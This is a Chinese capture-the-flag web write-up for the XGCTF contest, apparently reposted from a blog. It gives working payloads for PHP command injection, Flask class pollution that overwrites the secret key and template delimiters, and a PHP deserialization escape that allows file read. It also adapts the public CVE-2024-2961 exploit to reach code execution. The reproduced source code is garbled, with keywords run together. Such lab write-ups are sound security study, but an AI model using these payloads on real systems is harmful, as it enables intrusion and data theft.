0


XGCTF web部分wp

web部分wp

CodeInject

开题就几行代码:

QQ截图20240707143058

没有任何过滤,直接构造进行闭合:

1);system("ls /");//

QQ截图20240707143246

读取flag

QQ截图20240707143333

easy_polluted

下载附件得到源码

from flask import Flask, session, redirect, url_for,request,render_template
import os
import hashlib
import json
import re
defgenerate_random_md5():
    random_string = os.urandom(16)
    md5_hash = hashlib.md5(random_string)return md5_hash.hexdigest()deffilter(user_input):
    blacklisted_patterns =['init','global','env','app','_','string']for pattern in blacklisted_patterns:if re.search(pattern, user_input, re.IGNORECASE):returnTruereturnFalsedefmerge(src, dst):# Recursive merge functionfor k, v in src.items():ifhasattr(dst,'__getitem__'):if dst.get(k)andtype(v)==dict:
                merge(v, dst.get(k))else:
                dst[k]= v
        elifhasattr(dst, k)andtype(v)==dict:
            merge(v,getattr(dst, k))else:setattr(dst, k, v)

app = Flask(__name__)
app.secret_key = generate_random_md5()classevil():def__init__(self):[email protected]('/',methods=['POST'])defindex():
    username = request.form.get('username')
    password = request.form.get('password')
    session["username"]= username
    session["password"]= password
    Evil = evil()if request.data:iffilter(str(request.data)):return"NO POLLUTED!!!YOU NEED TO GO HOME TO SLEEP~"else:
            merge(json.loads(request.data), Evil)return"MYBE YOU SHOULD GO /ADMIN TO SEE WHAT HAPPENED"return render_template("index.html")@app.route('/admin',methods=['POST','GET'])deftemplates():
    username = session.get("username",None)
    password = session.get("password",None)if username and password:if username =="adminer"and password == app.secret_key:return render_template("flag.html", flag=open("/flag","rt").read())else:return"Unauthorized"else:returnf'Hello,  This is the POLLUTED page.'if __name__ =='__main__':
    app.run(host='0.0.0.0', port=5000)
    app.run(host='0.0.0.0', port=5000)

先看两个路由,/路由是获得session并且对 Evil 使用了merge方法,不难想到可能是原型链污染。

继续看/admin路由,看到满足条件

if username == "adminer" and password == app.secret_key

就会得到flag。

所以大概思路就是通过原型链污染

app.secret_key

的值,然后构造session来满足条件。

payload

{"__init__":{"__globals__":{"app":{"secret_key":"123"}}}}

通过json格式发送,发现有黑名单,unicode编码进行绕过,

{"\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f":{"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f":{"\u0061\u0070\u0070":{"\u0073\u0065\u0063\u0072\u0065\u0074\u005f\u006b\u0065\u0079":"123"}}}}

然后就是session的构造了,直接post传参

username=adminer&password=123

然后看见返回包返回了个

Set-Cookie

,访问路由/admin并添加此session。

竟然没有flag,

QQ截图20240706231755

搜索flask原型链污染发现可以通过污染来修改修改相应的语法标识符

{"__init__":{"__globals__":{"app":{"jinja_env":{"variable_start_string":"[#","variable_end_string":"#]"}}}}

同样进行unicode编码

{"\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f":{"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f":{"\u0061\u0070\u0070":{"\u006a\u0069\u006e\u006a\u0061\u005f\u0065\u006e\u0076":{"\u0076\u0061\u0072\u0069\u0061\u0062\u006c\u0065\u005f\u0073\u0074\u0061\u0072\u0074\u005f\u0073\u0074\u0072\u0069\u006e\u0067":"\u005b\u0023","\u0076\u0061\u0072\u0069\u0061\u0062\u006c\u0065\u005f\u0065\u006e\u0064\u005f\u0073\u0074\u0072\u0069\u006e\u0067":"\u0023\u005d"}}}}}

最后污染后再次访问,渲染成功,得到flag

QQ截图20240707151718

Ezzz_php

开题:

<?phphighlight_file(__FILE__);error_reporting(0);functionsubstrstr($data){$start=mb_strpos($data,"[");$end=mb_strpos($data,"]");returnmb_substr($data,$start+1,$end-1-$start);}classread_file{public$start;public$filename="/etc/passwd";publicfunction__construct($start){$this->start=$start;}publicfunction__destruct(){if($this->start=="gxngxngxn"){echo'What you are reading is:'.file_get_contents($this->filename);}}}if(isset($_GET['start'])){$readfile=newread_file($_GET['start']);$read=isset($_GET['read'])?$_GET['read']:"I_want_to_Read_flag";if(preg_match("/\[|\]/i",$_GET['read'])){die("NONONO!!!");}$ctf=substrstr($read."[".serialize($readfile)."]");unserialize($ctf);}else{echo"Start_Funny_CTF!!!";}

看到

mb_strpos

mb_substr

,猜测可能是利用两个函数解析差异进行字符串逃逸

看到最后关键处是

file_get_contents($this->filename);

,那么覆盖

filename

为我们想读的文件即可。

参考黄河流域就知道 %9f 可以增加一个字符,但是这里和那里还有一点区别,这里需要通过控制$start 来控制长度,因为反序列化不能有不可见字符,需要长度刚刚好。

如构造

?start=gnxgnxgnxgnxnx&read=%9f%9f%9f%9f%%9f%9f%%9f%9f%9f%9f%%9f%9f%%9f9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9fO:9:"read_file":2:{s:5:"start";s:9:"gxngxngxn";s:8:"filename";s:17:"/usr/sbin/nologin";}

现在能任意文件读取了,但是不知道 flag 文件名,试了试伪协议发现没用,放弃了,不会。

赛后 wp 复现,发现竟然是个 cve,

CVE-2024-2961:将phpfilter任意文件读取提升为远程代码执行

exp:https://github.com/ambionics/cnext-exploits/blob/main/cnext-exploit.py

把参考的 pyload 改一下就行,这里直接看 wp 改的

defsend(self, path:str)-> Response:"""Sends given `path` to the HTTP server. Returns the response.  
    """    payload_file ='O:9:"read_file":2:{s:5:"start";s:9:"gxngxngxn";s:8:"filename";s:'+str(len(path))+':"'+ path +'";}'  
    payload ="%9f"*(len(payload_file)+1)+ payload_file.replace("+","%2b")  
    filename_len ="a"*(len(path)+10)  
    url = self.url+f"?start={filename_len}&read={payload}"return self.session.get(url)

然会下载依赖直接就能命令执行了 (需要 python3.10 及以上而且要 linux 环境)

pip3 install pwntools
pip3 install https://github.com/cfreal/ten/archive/refs/heads/main.zip

参考官方wp:https://docs.qq.com/doc/DRmVUb1lOdmFMYmx1?dver=

标签: web安全 php

本文转载自: https://blog.csdn.net/2301_79700060/article/details/140383064
版权归原作者 gaorenyusi 所有, 如有侵权,请联系我们删除。

“XGCTF web部分wp”的评论:

还没有评论